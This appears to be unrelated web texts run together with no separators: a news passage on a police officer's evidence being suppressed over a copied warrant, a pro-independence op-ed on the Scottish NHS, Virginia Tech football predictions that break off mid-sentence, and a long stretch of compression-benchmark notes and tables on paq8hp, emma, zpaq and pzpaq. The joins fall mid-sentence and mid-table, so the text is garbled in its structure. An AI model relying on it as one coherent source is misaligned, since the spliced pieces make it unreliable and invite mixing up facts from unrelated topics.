“I do think that likely what happened was a result of cutting and pasting by using a warrant from a different case that involved child pornography,” Markson said, agreeing with an explanation for the error provided earlier by Deputy District Attorney Michelle Viste.
The case has made nationwide headlines, cited as evidence by those who believe that police officers are held to a different standard than ordinary citizens. Hilgers’ case follows some other high-profile cases involving police officers who were either not indicted or found innocent of killing suspects.
After a grand jury voted not to follow through with charges against Ferguson, Missouri, police officer Darren Wilson for the killing of teen Michael Brown, protesters took to the streets for days of demonstrations that often turned violent. The case also led to a brighter light on other instances of perceived police misconduct.
With the evidence thrown out, Jerry Hilgers will no longer be able to face charges for possession of child pornography. He can still face charges for sexual assault, however. In an ironic twist of fate, he is now married to the woman named in the original warrant.I'VE always had deep affection for Sam Galbraith, the former Scottish health minister, ever since I first met him in the 1980s during a factory occupation in Bathgate.
He was a fiery left-wing consultant neurosurgeon then who, like me, had an interest in climbing. As it happens, we both went on expeditions to the Himalayas around the same time - though to different places - and both came back physically the worse for wear.
Though in Sam's case it was rather more serious. He developed incurable lung disease and was given only three years to live, even after a lung transplant in Newcastle. But 25 years later, he's still going strong - living proof of his will to live, and the effectiveness of the National Health Service of which he has been a lifelong defender.
So I was saddened to see last week Sam Galbraith promoting the latest independence health scare. He said that after a Yes vote, Scots would no longer be able to have operations like his in England without "filling in forms and handing over money". As a former health minister, his claim that an independent Scottish NHS would no longer be based on need rather than ability to pay and that Scots would be denied access to health in the rest of the UK will understandably concern many Scottish voters.
Yet this is as bogus as the claim from Better Together that Scottish children would be denied care at Great Ormond Street Hospital in London, or that independence would set back a cure for cancer. These scares were rejected by both Great Ormond Street and Cancer Research UK. And the same is true of transplants. In the very few cases where radical operations have to take place outwith Scotland they are already paid for by the Scottish NHS under long-established arrangements. There is no earthly reason why this should not continue after independence.
The real danger to the NHS lies not in a Yes vote, but in the invasion of private provision in health being promoted by Westminster. The Conservative health reforms have opened up the NHS to private providers on an unprecedented scale. Healthcare is still nominally free at the point of need in England, but privatisation of care has fundamentally altered the character of the NHS.
The 2011 Health and Social Care Act led to fragmentation as private healthcare groups bought in to lucrative areas of elective surgery, leaving the state sector with the burden of looking after the manifold health demands of an ageing population. The combined effects of PFI debts and funding cuts have placed half of England's hospital trusts in bankruptcy and left many looking to private companies to take over. The Financial Times suggests that up to 30% of English hospital trusts could effectively be in private hands by the end of the decade.
In Scotland, by contrast, the last significant private hospital development, HCI Clydebank, was nationalised in 2003 by one of Sam's colleagues, the then Labour health minister Malcolm Chisholm, and turned into a national centre for clearing waiting lists. He also abolished trusts and market competition. When Nicola Sturgeon took over the health brief after the SNP victory in 2007, private provision was removed from the NHS by law and the system became what it was always supposed to be: an integrated service based on collaboration between the various layers of the service rather than a market divided by competition and contract. She completed the original NHS project as envisaged by its Labour founder, Aneurin Bevan, and abolished prescription charges in Scotland.
Many UK politicians, Labour and Tory, said that this was all folly, and that Scotland would have to introduce the English market reforms, originally promoted by Tony Blair, or else the system would collapse. Well it hasn't. The Scottish health system has rarely been more popular. According to the recent Scottish Social Attitudes Survey, satisfaction with Scotland's NHS has increased by 20% since 2005.
The claim that this would be threatened by independence is patently absurd. The Scottish Government's independence White Paper, could hardly be clearer on health. It affirms that the NHS would remain in public hands as a fully state-funded public service. However, it is difficult to see how this uniquely Scottish arrangement could continue if Westminster continues to control the purse strings.
The Scottish Parliament is responsible for health in Scotland but funding remains with Westminster through the Barnett Formula, which increases or decreases every year in line with health spending in England. The intention of the UK health reforms is to get private companies to take on more and more of the work of the NHS, reducing the contribution made by the taxpayer. This will inevitably reduce the funding that comes to Scotland, even assuming the Barnett Formula is retained. George Osborne has pencilled in a further £35 billion in cuts to health spending. As consultant surgeon Philippa Whitford has argued, this means the Scottish Government might be forced to go along the same privatisation route to fill the gap.
But there is a further threat facing the NHS. The Transatlantic Trade and Investment Partnership (TTIP) is the fruit of long-running negotiations between the EU and the US over trade liberalisation. One of its fundamental principles is that services, including state services, should be open to private competition from American multinationals. According to Garcia Bercero, the EU Commission official with responsibility for TTIP, health services in Europe will be opened to private competition, but only where privatisation is already established. In other words, where there is an existing state monopoly, foreign companies cannot sue the government in question for unfair competition.
But the UK Health and Social Care Act opened the UK system to TTIP because it explicitly introduces a private market in health provision in England. After a No vote, private providers and insurance companies may argue that, since Scotland is not a sovereign state but a region of the UK, it cannot be exempted from competition for health provision. We are a long way from that being tested in law, but what is beyond doubt is that the UK has made the NHS in England TTIP compliant. It seems highly likely that the Scottish system will be seen as an unacceptable anachronism in a unitary state.
We all owe a massive debt to the much-maligned National Health Service. It really is one of Britain's greatest achievements. People complain bitterly about its alleged inefficiency, until they find they need to use it themselves. America spends twice as much of its GDP on its privatised health and gets an inferior service. Many millions of Americans have no adequate health insurance.
The NHS was one of the great institutions of the old United Kingdom - the caring, sharing UK which now only exists in speeches from Better Together politicians and in Olympic Games ceremonies. Along with social security, regional policy and free higher education, the NHS was one of the great unifiers of the Union, and made Scots proud to be part of Britain. But this social Britain no longer exists. Westminster has knocked away the key supports through welfare reform, tuition fees and privatisation of the NHS.
The great irony of this referendum is that it is Scotland that still believes in the United Kingdom of welfare and social solidarity. It is England, led by Westminster and the City of London, that is discarding it.USA TODAY Sports
Fall camp is history and football is finally here. Finally. No more media prognostications about where teams will finish. It will now be settled on the field.
For the Virginia Tech Hokies, a new season brings a fresh start. The Hokies could use a fresh start, having lost a combined 11 games over the last two seasons for the first time in over 20 years.
Can the Hokies eclipse the eight wins they had in 2013? It won't be easy, but a soft schedule outside of Ohio State does help things.
Predicting a team's record can sometimes be monotonous, so we decided to take a fun look at five bold predictions for the 2014 Virginia Tech Hokies.
Isaiah Ford Will Be a Star
If you've followed the Hokies throughout fall camp, this will come as no surprise. Ford has been terrific all camp, and it led to the true freshman's placement at the top of the depth chart for this week's season opener against William and Mary.
Former starter Demitri Knowles has battled an ankle injury this summer, allowing Ford to seize his opportunity. It's rare a freshman receiver is as polished as Ford. Yes, Ford is a dynamic athlete with game-breaking ability, but he also runs sound routes. That is what earns the trust of quarterbacks.
Look for the Hokies to try and find ways to get Ford the ball in space early in the season. He also possesses the ability to change games on special teams. The question is if head coach Frank Beamer wants Ford returning punts if he's also a starting receiver.
Ford, also a basketball player, wants to play hoops at Tech, too. He has the blessing of the legendary head coach, per Andy Bitter of The Roanoke Times:
"There’s been a lot of football guys that have wanted to play basketball. But he’s the first one I ever thought that ever could play basketball too. And he’s just a gifted athlete, got a great head on his shoulders and is smart and keeps everything in perspective. So I think he’s the real deal."
Get used to hearing Ford's name.
Defense Dominant Again
There are certain things in life you come to expect. Virginia Tech—under longtime defensive coordinator Bud Foster—playing great defense is one of things.
The Hokies are coming off one of their best statistical seasons defensively in several years. Tech was No. 4 in total defense and near the top in sacks and takeaways.
USA TODAY Sports
However, they lost six starters and two more injured stars—Kyle Fuller and Antone Exum—who were starters before their seasons ended.
So, is Foster worried?
Probably not. He's faced these issues before and came back even stronger. In 2008, after losing seven starters to the NFL, Foster engineered Tech to another top-10 finish in total defense.
With all of the issues on offense in recent years, it's tough to imagine how many games VT would have lost if not for Foster and his defense.
Expect more of the same in 2014. This group has its hands full in Week 2 when it travels to Columbus to face Ohio State. On the bright side, at least it won't be against Braxton Miller.
Michael Brewer Won't Finish the Year as Starting Quarterback
It's really unfair to say Brewer, the Texas Tech transfer who was named starter last week, won't make it through the season as the starting quarterback.
But there are several reasons to assume it will be difficult for Brewer to start all 12 regular-season games.
Remember, Brewer's time at Texas Tech essentially came to an end once he got hurt last summer. Yes, he came back and played, but his chances of starting were gone. That's just one injury, but it was a back injury.
Then there is Brewer's size. At 6'0", 200 pounds, he isn't the biggest guy. Sure, Michael Vick was of similar size when he played for the Hokies, but that's not a fair comparison. While mobile, Brewer will not remind anyone of Vick, Tyrod Taylor or Logan Thomas.
And behind an offensive line with some question marks |
797 107,583 18,305,380 18,306,690 paq8hp4 -0 | ppmonstr J -m1650 -o64 18,170,944 107,590 18,278,534 18,280,098 paq8hp5 -0 | ppmonstr J -m1650 -o64 18,154,921 111,935 18,266,856 18,267,556 xml-wrt 2.0 | ppmonstr J -m1650 -o64 18,625,624 xml-wrt 3.0 | ppmonstr J -m1650 -o64 18,494,374 (none) ppmonstr J -m1650 -o16 19,062,555 ppmonstr J -m1650 -o32 19,084,964 ppmonstr J -m1650 -o64 19,098,634 The transform done by paq8hp1 through paq8hp5 is based on WRT by Przemyslaw Skibinski, which first appeared in PAsQDa and paqar, and later in paq8g and xml-wrt. The steps are as follows: The input is parsed into seqences of all uppercase letters or all lowercase letters, or one uppercase letter followed by lowercase letters, e.g. "THE", "the", or "The".
All uppercase words are prefixed by a special symbol (0E hex in paq8hp3, paq8hp4, paq8hp5). If a lowercase letter follows with no intervening characters (e.g. "THEre", then a special symbol (0C hex) marks the end. (e.g. 0E "the" 0C "re").
Capitalized words are prefixed with 7F hex (paq8hp3) or 40 hex (paq8hp4, paq8hp5) (e.g. "The" -> 40 "the").
All letters are converted to lower case.
Words are looked up in the dictionary. The first 80 words in the dictionary are coded with 1 byte: 80, 81,... CF (hex).
The next 2560 words (paq8hp1-4) or 3840 words (paq8hp5) are coded with 2 bytes: D080, D081,... EFCF (paq8hp1-4), or D080,... FFCF (paq8hp5).
The last 40960 words are coded with 3 bytes: F0D080, F0D081,... FFEFCF.
If a word does not match, then the longest matching prefix with length at least 6 is coded and the rest of the word is spelled.
If there is no matching prefix, then the longest matching suffix with length at least 6 is coded after spelling the preceding letters.
If no matching word, prefix, or suffix is found, the word is spelled. Capitalization coding occurs regardless.
Any input bytes with special meaning are escaped by prefixing with 06: 06, 0C, 0E, 40 or 7F, 80-FF. WRT has additional capabilities depending on input, such as skipping encoding if little or no text is detected. The dictionary format is one word per line (linefeed only) with a 13 line header..1355 emma emma v0.1.3 is a free, closed source file compressor for 32 bit Windows by mpais, Mar. 8, 2016. It uses context mixing. It has a GUI-only interface to select compression options. For testing, all settings were for maximum compression as follows: Memory usage 512 Mb, maximum order 9, ring buffer 32 Mb, probability refinement level 3, mixing complexity insane, adaptive learning rate on, fast mode on long matches off, ludicrous complexity mode on, match model on, 32 Mb, high complexity; text model on, 128 Mb, high; sparse model on, 16 Mb, high; sparse model on, 16 Mb, high; indirect model on, 16 Mb, high; x86/64 model on, 64 Mb, insane; image models on, 80 Mb, high; audio models on, 32 Mb, high; record model on, 16 Mb, high; distance model on, 8 Mb; JPEG model on, 40 Mb, high; GIF model on, 32 Mb, high; executable code (x86/64) transform on; process conditional jumps on; colorspace (RGB) on; delta coding on; dictionaries: English on, Spanish off, Italian off, French off, Portugese off. emma v0.1.4 was released Mar. 13, 2016. For testing, the text model was increased to 256 MB. A DMC model (8 MB) was added. The non-text related models were turned off: x86, image, audio, JPEG, GIF. All transforms (x86, RGB, delta) were turned off. emma 0.1.6 ( discussion) was released Mar. 27, 2016. It was tested by splitting enwik9 into parts using hsplit to move the highly compressible middle part to the end. Then the reordered file was then processed using drt dictionary processing (see lpaq9m) instead of emma's built in dictionary and then compressed with emma with maximum compression and memory options (like below) except that dictionary processing was turned off. The decompressor size includes drt.exe, lpqdict0.dic, hsplit.exe and a BAT file to restore the original order, all compressed with emma, then those files plus emma.exe (without dictionaries) compressed into a zip archive. Specifically, enwik9 was prepared: fsplit32 enwik9 en1 586000000 fsplit32 en1.1 en2 480000000 fsplit32 en2.1 en3 424000000 copy /b en3.1+en1.2+en3.2+en2.2 enwik9o del en1.1 del en1.2 del en2.1 del en2.2 del en3.1 del en3.2 drt enwik9o enwik9o.drt del enwik9o before compression with emma, then restored after decompression: drt enwik9o.drt enwik9o d fsplit32 enwik9o en1o 894000000 del enwik9o fsplit32 en1o.1 en2o 838000000 fsplit32 en2o.1 en3o 424000000 copy /b en3o.1+en2o.2+en1o.2+en3o.2 enwik9 del en1o.1 del en1o.2 del en2o.1 del en2o.2 del en3o.1 del en3o.2 The command hsplit input output N means produce output.1, output.2, etc. each of size N bytes. emma 0.1.12 was released July 10, 2016. There are 32 and 64 bit versions. The 64 bit version can use more memory. Settings were as follows: x64 x86 Memory 2048 MB 512 MB Max order 10 9 Ring buffer size 128 MB 32 MB Probability refinement level 3 level 3 Mixing complexity insane insane Adaptive learning rate on off Fast mode long matches off off Ludicrous complexity on on Match model 128 MB, high 32 MB, high Text model 1024 MB, high 256 MB, high Sparse model 64 MB, high 16 MB, high Indirect model 64 MB, high 16 MB, high 86/x64 model off off Image models off off Audio models off off Record model 64 MB, high 16 MB, high Distance model 32 MB 8 MB DMC model 32 MB 8 MB JPEG model off off GIF model off off XML model 16 MB 4 MB RAW models off off Transforms exec code off off Colerspace RGB off off Delta coding off off Dictionaries English English emma 0.1.22 was released Feb. 12, 2017. Settings: all settings = MAX, eceept: image and audio models = off, use fast mode on long matches = off, xml=on, x86model=off, x86 exe code = off, delta coding = off, dictionary = off, ppmd memory = 1024, ppmd order = 14 emma 1.23 was released Aug. 29, 2017. It uses ppmd_mod v3a by Shelwein and is preprocessed with DRT. EMMA 1.23 settings: all settings = MAX, eceept: image and audio models = off, use fast mode on long matches = off, xml=on, x86model=off, x86 exe code = off, delta coding = off, dictionary = off, ppmd memory = 1024, ppmd order = 14 Program enwik8 enwik9 program size total Comp Decomp Mem Alg Note ------- ---------- ---------- ------------ ----------- ----- ------ ---- --- ---- emma 0.1.3 17,971,713 149,864,553 1,844,505 x 151,709,068 110458 113839 1336 CM 77 emma 0.1.4 17,865,328 148,887,824 1,848,033 x 150,735,857 58141 980 CM 78 drt|emma 0.1.16 x64 16,855,079 136,393,547 1,257,839 x 137,651,386 64341 62102 3800 CM 77 emma 0.1.12 x86 17,824,974 148,403,034 1,878,971 x 150,282,005 62639 986 CM 78 emma 0.1.12 x64 17,468,937 142,416,812 2,105,286 x 144,522,098 95997 3688 CM 78 emma 0.1.22 16,679,420 135,169,967 1,302,363 xd 136,472,330 86187 3824 CM 81 drt|emma 1.23 16,523,517 134,164,521 1,358,251 xd 135,522,772 73006 67097 3800 CM 81.1422 zpaq zpaq 1.03 is a free, open source command line archiver by Matt Mahoney, Sept. 8, 2009. zpaq implements the proposed ZPAQ standard format for highly compressed data. The goal of the standard is to allow the development of new compression algorithms without breaking compatibility with older decompressers. ZPAQ is described by the level 1 specification and a reference decoder. The specification does not describe the encoding algorithm. It only requires that compressed files be readable by the reference decoder, which was first released with the standard on Mar. 12, 2009 (v1.00). The release followed a development period with 9 experimental and incompatible version (level 0, v0.01 through v0.09) released beginning Feb. 15, 2009. All level 1 versions from v1.00 onward are forward and backward compatible with each other. Higher levels may be introduced in the future with only a forward compatibility requirement: higher level decompressers must read archives produced by lower level compressors, back to level 1.
A ZPAQ archive is organized into independently compressed blocks. Each block is divided into one or more segments which must be decompressed in sequence. Each segment represents a file or a part of a file. The standard supports both archivers and single file compressors. In the case of a compressor, no filenames are stored in the segment headers, and all the blocks and segments are concatenated to a single output file specified by the user.
ZPAQ uses a streaming format that can be read or written in a single pass. The arithmetic coded data is designed so that the end of a segment can be found by scanning quickly without decoding. There is no central directory information to update when blocks are added, removed, or reordered.
The ZPAQ standard requires that the decompression algorithm be described in the block headers. The header describes a collection of bitwise predictive models based loosely on PAQ components, a program to compute the bytewise contexts for each model, and a second program to perform arbitrary postprocessing on the output data. The two programs are written in an interpreted bytecode language called ZPAQL.
A ZPAQ model specifies a list of 1 to 255 components. Each component outputs a prediction or probability that the next bit will be a 1. Each component may receive as input a computed 32-bit context and the output predictions of earlier components on the list. The last component's prediction is fed to an arithmetic coder to encode or decode the next bit. The components are as follows:
CONST - specifies a fixed, constant prediction.
CM - context model. The context is mapped to a prediction by a table with a user specified size. Each table entry also has a count. The table is updated by adjusting the prediction to reduce the prediction error in proportion to 1/count. The count is incremented up to a user specified limit in the range 4 to 1020.
ICM - indirect context model. The context is mapped to a bit history (an 8 bit state) by a hash table of user specified size. The history is mapped to a prediction by a CM with a fixed, high count limit. The history represents a count of recent 0 and 1 bits and also indicates whether the last bit was a 0 or 1.
MATCH - has an output buffer and pointer table, both of user specified size. The context is mapped to a pointer into the buffer where the same context was last observed. The corresponding bit after the last match is predicted in proportion to the length of the match.
AVG - Two predictions are combined by weighted averaging. The user specifies the weight. Weighted mixing is always in the logistic or "stretched" domain: stretch(p) = log(p/(1-p)).
MIX2 - Two stretched predictions are combined by weighted averaging from a table of weights of a user specified size and selected by a context. After prediction, the selected weight is updated to favor the more accurate input prediction. The user specifies the adaptation rate.
MIX - Like a MIX2 but over a user specified array of earlier predictions and one weight per input per context.
SSE - secondary symbol estimation. A context and a stretched input prediction select an output prediction from two adjacent entries in a 2-D table by interpolation. The table is updated to reduce the prediction error of the nearer of the two entries as with a CM. The user specifies the table size in the context dimension (the probability dimension is fixed at 64), and the initial and maximum counts to determine adaptation rate.
ISSE - indirect SSE. Receives a context and an earlier prediction. The context is mapped to a bit history as with an ICM. The history is mapped to the context of a MIX2 with one prediction from input and the other CONST. It has the effect of adjusting the input prediction based on the bit history of the current context.
There are two ZPAQL virtual machines, one (HCOMP) to compute contexts, and one (PCOMP) to postprocess the decoded data. Each program is called once per decoded byte with that byte as input. A ZPAQL machine has the following state:
An array H of 32 bit unsigned values of user specified size. In HCOMP, the elements at the beginning of the array are each assigned to a component to hold its context.
An array M of 8 bit unsigned values of user specified size.
32 bit registers A, B, C, and D. A is the accumulator, the destination of most arithmetic and logical operations. It also contains the input byte when the program is executed. B and C can point into M. D can point into H.
256 registers, R0 through R255, holding 32 bit values.
A flag register F holding the result of the last comparison (true or false).
A 16 bit program counter.
zpaq 1.03 takes as input a configuration file which describes the arrangement of components, their parameters, and the ZPAQL program HCOMP written one token per byte in a C-like syntax (e.g. "A=B" to assign B to A). PCOMP is not specified because in general the preprocessing step by the compressor is different (and usually more complex) than the postprocessing step. Instead, zpaq 1.03 provides the option of two built-in preprocessors, LZP and E8E9. If selected, the preprocessing is done in C++ by the compressor, and the compressor generates ZPAQL code to perform the inverse transform and insert it into the archive block header. (PCOMP is actually appended to the beginning of the input data and compressed with it. HCOMP is not compressed).
E8E9 is used to improve compression of 32 bit x86 executable files. It replaces the 32 bit relative address after a CALL or JMP (0xE8 or 0xE9) x86 instruction by adding the offset from the beginning of the file. This improves compression because often there are several calls to the same target. PCOMP performs the inverse transform in ZPAQL by subtracting the offset.
LZP encodes long string matches as an escape byte and length byte. The decompresser maintains a rolling context hash which indexes a pointer table (the H array) into the output buffer (the M array) pointing to the previous context match. If an escape is present, then the indicated number of bytes are copied from the previous context match. In zpaq 1.03, the user can specify the sizes of M and H, the hash multiplier (effectively choosing the context length), the value to use as the escape byte (preferably occurring rarely in the input), and minimum match length. Escape bytes in the input are encoded as an escaped 0 length.
zpaq 1.03 is distributed with three configuration files, min.cfg (for speed), mid.cfg (the default), and max.cfg (for good compression). However, the user can also write their own config files.
o0.cfg, o1.cfg, and o2.cfg are order 0, 1, and 2 models with a single CM and direct context lookup with no hashing. o0 is equivalent to fpaq0. In each of the models the asymptotic learning rate was tuned for maximum compression. Other values are given as comments in the sources. The CM uses 2KB, 512KB and 128MB respectively.
min.cfg uses LZP preprocessing with a minimum match length of 3 and an order 4 context hash, followed by compression by single CM with an order 3 context and 512K entries. The LZP has a 1 MB output buffer and 256K index. It uses 4 MB memory.
mid.cfg (the default) does no preprocessing. It has an order 0 ICM, a chain of ISSE with context orders 1 through 5, each taking the previous ISSE as input, a MATCH with an order 7 context, and a final MIX with an order 1 context taking input from all other models. It uses 111 MB memory.
max.cfg does no preprocessing. It has 21 components: an order 0 ICM, a chain of order 1, 2, 3, 4, 5, 7 ISSE, an order 8 MATCH, a wordwise order 0-1 ICM-ISSE chain (for text), sparse order 1 ICM with gaps of 1, 2, and 3, a partially masked order 2 ICM with a gap of 216 for CCITT images (calgary/pic), order 0 and 1 mixers taking a CONST and all previous components as input and averaged together with a context free MIX2, followed by a chain of order 0 and 1 SSE each partially bypassed by a context free and order 0 MIX2, and a final context free MIX of all other components. The two wordwise contexts depend on the current and previous case insensitive sequences of letters in the range a-z. It uses 278 MB memory.
max3.cfg is a variation of max.cfg by Jan Ondrus (Sept. 10, 2009) using 550 MB memory and without a CCITT model.
max4.cfg is a variation of max3.cfg (Sept. 15, 2009) using 1465 MB memory.
drt is the dictionary preprocessor from lpaq9m by Alexander Rasushnyak. The results include the dictionary file lpqdict0.dic compressed from 465,210 to 88,759 bytes in 8 seconds as a separate archive with max4.cfg and decompressed in 7 seconds, and drt.exe with a size of 15,548 bytes (whether uncompressed or as a zip file) with 38 seconds to encode enwik9 and 38 seconds to decode.
max_enwik9.cfg is a variation of max.cfg by Mike Russell, Sept. 11, 2009. It adds 5 more models for higher order contexts using an ISSE chain after the first order 5 mixer.
max_enwik9drt.cfg is a variation of max_enwik9.cfg, Sept. 18, 2009, modified to define word contexts for ASCII range 65-255 instead of A-Z,a-z because DRT encodes words using bytes in the range 128-255. The compressed size of lpqdict0.dic is 86810 bytes, 12+9 sec, compressed separately and added to the compressed sizes.
zpipe 1.00 is a ZPAQ compatible streaming file compressor that compresses or decompresses from standard input to standard output. It takes no options. It compresses equivalently to mid.cfg without storing a filename or comment. The decompresser outputs the contents of archives to a single file by concatenation.
bwt_j2.cfg implements an inverse BWT transform. It was writen by Jan Ondrus, Oct. 6, 2009. The forward transform is implemented by an external preprocessor, bwtpre (included above) by Matt Mahoney, Oct. 6, 2009. bwtpre is based on BBB fast mode compression but does not itself compress. The argument ",18" tells bwt_j2.cfg to use a block size of 210+18-256 bytes. Memory usage is 5x blocksize for both the preprocessor and postprocessor, plus 100 MB for the model. The ability of config files to call external preprocessors was added to zpaq v1.05 on Sept. 28, 2009. The ability to pass arguments was added to zpaq v1.07 on Oct. 2, 2009.
zpaq v1.08 (Oct. 14, 2009) adds the capability to compile ZPAQL configuration files and corresponding archive headers to C++ and link to a copy of itself to speed up compression and decompression. The program first looks for an optimized version of the program, writes and compiles it if needed, then runs it to compress or decompress. Some tests are shown for speed comparison. max.cfg was modified to use less memory. The arguments to min.cfg, mid.cfg, and max.cfg have the effect of improving compression at the cost of doubling memory for each increment.
bwt_slowmode1_1GB_block.cfg implements slow mode BWT transform using 1.25x blocksize memory based on BBB. The inverse transform was re-implemented in ZPAQL by Jan Ondrus, Oct. 15, 2009.
zpaq v1.09 is mainly a Linux port of v1.08 with some cosmetic improvements. Times for obwt_j2.cfg,18 are shown for comparison to v1.07 without optimization. Memory usage is 1838 MB for compression (includes preprocessor) and 1443 MB for decompression.
The c command followed by the name of a configuration file creates a new archive using that file. By default the archive header includes the file name (6 bytes), size (10 bytes), and SHA1 checksum (20 bytes). There are options to omit these and save 36 bytes. The "oc" command in zpaq v1.08 optimizes for speed.
zp 1.00 is a ZPAQ compatible archiver by Matt Mahoney, May 7, 2010. It is designed to have fewer options so it is easier to use. It has 3 compression levels: 1=fast, 2=mid, 3=max. It uses compiled ZPAQL code (like zpaq oc/ox) but without requiring an external C++ compiler to be installed. It automatically detects when an archive is compressed with one of these three models and decompresses with compiled code. Otherwise, it will decompress all other ZPAQ compatible archives with slower, interpreted code. Levels 2 and 3 are the same as zpaq mid.cfg and max.cfg. Only level 1 (fast) was tested because it uses a new model, fast.cfg, an ICM chain of length 2 with order 2 and 4 contexts. It is equivalent to compressing with zpaq ocfast.cfg.
Compression Compressed size Decompresser Total size Time (ns/byte) Program Options enwik8 enwik9 size (zip) enwik9+prog Comp Decomp Mem Alg Note ------- ------- ---------- ----------- ----------- ----------- ----- ----- --- --- ---- zpaq 1.03 co0.cfg 61,217,687 620,040,242 14,317 xd 620,054,559 441 453 0.4 o0 26 co1.cfg 46,083,596 454,040,416 14,317 xd 454,054,733 459 480 0.6 o1 26 co2.cfg 36,694,483 346,551,263 14,317 xd 346,565,580 557 560 134 o2 26 cmin.cfg 33,460,947 294,281,789 14,317 xd 294,296,106 438 513 4 LZP 26 cmid.cfg 20,941,558 180,279,221 14,317 xd 180,293,538 3521 3652 111 CM 26 cmax.cfg 19,412,353 165,191,085 14,317 xd 165,205,402 12211 12204 278 CM 26 cmax3.cfg 19,179,311 161,604,379 14,317 xd 161,618,696 14108 13609 550 CM 26 cmax4.cfg 18,986,507 157,246,349 14,317 xd 157,260,666 14061 13077 1465 CM 26 cmax_enwik9.cfg 18,238,435 149,376,058 14,317 xd 149,390,375 11961 2002 CM 32 drt|zpaq 1.03 cmax4.cfg 18,400,773 149,761,125 29,865 xd 149,790,990 8663 8547 1465 CM 26 cmax_enwik9drt.cfg 18,022,167 146,078,502 29,865 xd 146,108,367 11494 11614 1952 CM 26 zpipe 1.00 20,941,543 180,279,205 13,421 x 180,292,626 3540 3480 111 CM 26 zpaq 1.07 cbwt_j2.cfg,18 20,756,888 174,171,969 13,421 x 174,185,390 5593 4347 1838 BWT 26 zpaq 1.08 ocbwt_slowmodel_1GB_block.cfg 20,756,996 163,565,006 29,153 x 163,594,159 7957 3875 1443 BWT 26 oco0.cfg 61,217,687 335 407 0.4 o0 26 ocmin.cfg 33,460,960 414 383 4 LZP 26 ocmid.cfg 20,941,558 2392 2456 111 CM 26 ocmax.cfg 19,448,650 6569 6641 246 CM 26 ocmax.cfg,3 18,977,961 6667 6640 1861 CM 26 zpaq 1.09 ocbwt_j2.cfg,18 20,756,883 174,171,965 31,744 x 171,203,709 4529 1847 1838 BWT 26 zp 1.00 c1 24,837,469 222,310,430 26,815 s 222,337,245 688 776 37 CM 26 587 688 44
pzpaq 0.01 (a predecessor to zp 1.02) is a free, open source file compressor and archiver by Matt Mahoney, Jan. 21, 2011. It uses a ZPAQ compatible format with speed optimizations for the 3 default compression levels supported by libzpaq, zpaq, and zpipe. It supports parallel compression and decompression by dividing the input into blocks which are compressed or decompressed at the same time in separate threads, writing the result to temporary files, and then comcatenating them when done. For compression with N threads, the input is divided into N blocks of equal size by default, although a different block size can be specified. Larger blocks make compression better but reduce the number of threads that can run at the same time. Using more threads also increases the memory required. pzpaq can also compress or decompress multiple files at once to separate archives or pack them into a solid archive or an archive with the packed files split across blocks within the archive.
The version 0.01 distribution includes a 32 bit Windows executable and source code to compile for Windows or Linux. For Windows, the code must be linked with Pthreads-Win32 and pthreadGC2.dll is required at run time. The program size was calculated from the source code (including libzpaq) required for Linux, which has pthreads installed by default and is not included in the size.
The test results shown below are for 2 machines, a 2.67 GHz Intel Core i7 M620 with 2 cores and 2 hyperthreads per core, running 64 bit Linux (note 48), and a 2.0 GHz Intel T3200 with 2 cores without hyperthreading running 32 bit Windows (note 26). The Linux version was compiled with g++ 4.4.4 -O3 -s -march=native -DNDEBUG. The Windows version used the distributed pzpaq.exe and pthreadGC2.dll. It was compiled with g++ 4.5.0 -O2 -s -march=pentiumpro -fomit-frame-pointer. Times shown are wall (real) times, not process times, in nanoseconds per byte.
We observe the normal 3 way tradeoff between speed, memory, and compression. Compression levels -1, -2, and -3 require 38 MB, 112 MB, and 247 MB per thread respectively. The default is -2. -t selects the number of threads. The default is -t2. -b selects the block size. The default is the input size divided by the number of threads. The -m option limits memory usage in MB by reducing -t. The default is -m500. Selecting larger -m than required has no effect on compression, speed, or actual memory used. -m is only required with -3 -t3 or higher.
C/D time C/D time Lev Thr Block Memory enwik8 Note 48 Note 26 ------------------------- ---------- ----------- ----------- -1 -t2 -b1000000 -m76 28,176,221 471 -1 -t2 -b2500000 -m76 26,915,416 443 -1 -t2 -b5000000 -m76 26,236,689 436 -1 -t2 -b10000000 -m76 25,728,498 429 -1 -t4 -b25000000 -m152 25,253,629 210 220 -1 -t3 -b33333334 -m114 25,144,587 220 240 -1 -t2 -b50000000 -m76 25,009,236 240 290 410 430 -1 -t1 -b100000000 -m38 24,837,482 420 470 750 800 -2 -t2 -b1000000 -m224 24,582,373 1440 -2 -t2 -b2500000 -m224 23,374,191 1396 -2 -t2 -b5000000 -m224 22,644,738 1417 -2 -t2 -b10000000 -m224 22,044,838 1430 -2 -t2 -b25000000 -m224 21,438,679 1382 -2 -t4 -b25000000 -m448 21,438,679 720 730 -2 -t3 -b33333334 -m336 21,303,705 790 820 -2 -t2 -b50000000 -m224 21,138,877 950 980 1300 1310 -2 -t1 -b100000000 -m112 20,941,571 1510 1560 2350 2330 -3 -t2 -b1000000 -m494 23,281,943 4142 -3 -t2 -b2500000 -m494 22,105,128 3896 -3 -t2 -b5000000 -m494 21,371,902 3866 -3 -t2 -b10000000 -m494 20,745,064 3854 -3 -t2 -b25000000 -m494 20,073,978 3816 -3 -t4 -b25000000 -m988 20,073,978 1900 1950 -3 -t3 -b33333334 -m741 19,914,412 2070 2120 -3 -t2 -b50000000 -m494 19,710,450 2180 2250 3670 3990 -3 -t1 -b100000000 -m247 19,448,663 3780 3910 6080 6200 C/D time C/D time Lev Thr Block Memory enwik9 Note 48 Note 26 ------------------------- ----------- ----------- ----------- -1 -t2 -b1000000 -m76 254,931,717 582 -1 -t2 -b10000000 -m76 232,278,737 425 -1 -t2 -b100000000 -m76 224,233,690 392 -1 -t2 -b250000000 -m76 223,043,964 393 -1 -t4 -b250000000 -m152 223,043,964 198 223 -1 -t3 -b333333334 -m114 222,789,971 224 254 -1 -t2 -b500000000 -m76 222,544,698 236 276 408 556 -1 -t1 -b1000000000 -m38 222,310,443 410 470 758 800 -2 -t2 -b1000000 -m224 216,322,292 1377 -2 -t2 -b10000000 -m224 192,436,071 1286 -2 -t2 -b100000000 -m224 182,293,069 1275 -2 -t2 -b250000000 -m224 180,995,559 1278 -2 -t4 -b250000000 -m448 180,995,559 710 742 -2 -t3 -b333333334 -m336 180,716,954 768 811 -2 -t2 -b500000000 -m224 180,516,414 854 881 1275 -2 -t1 -b1000000000 -m112 180,279,234 1487 1532 2231 -3 -t2 -b1000000 -m494 203,976,295 3824 -3 -t2 -b10000000 -m494 180,499,077 3657 -3 -t2 -b100000000 -m494 168,839,648 3611 -3 -t2 -b250000000 -m494 167,036,071 3635 -3 -t4 -b250000000 -m988 167,036,071 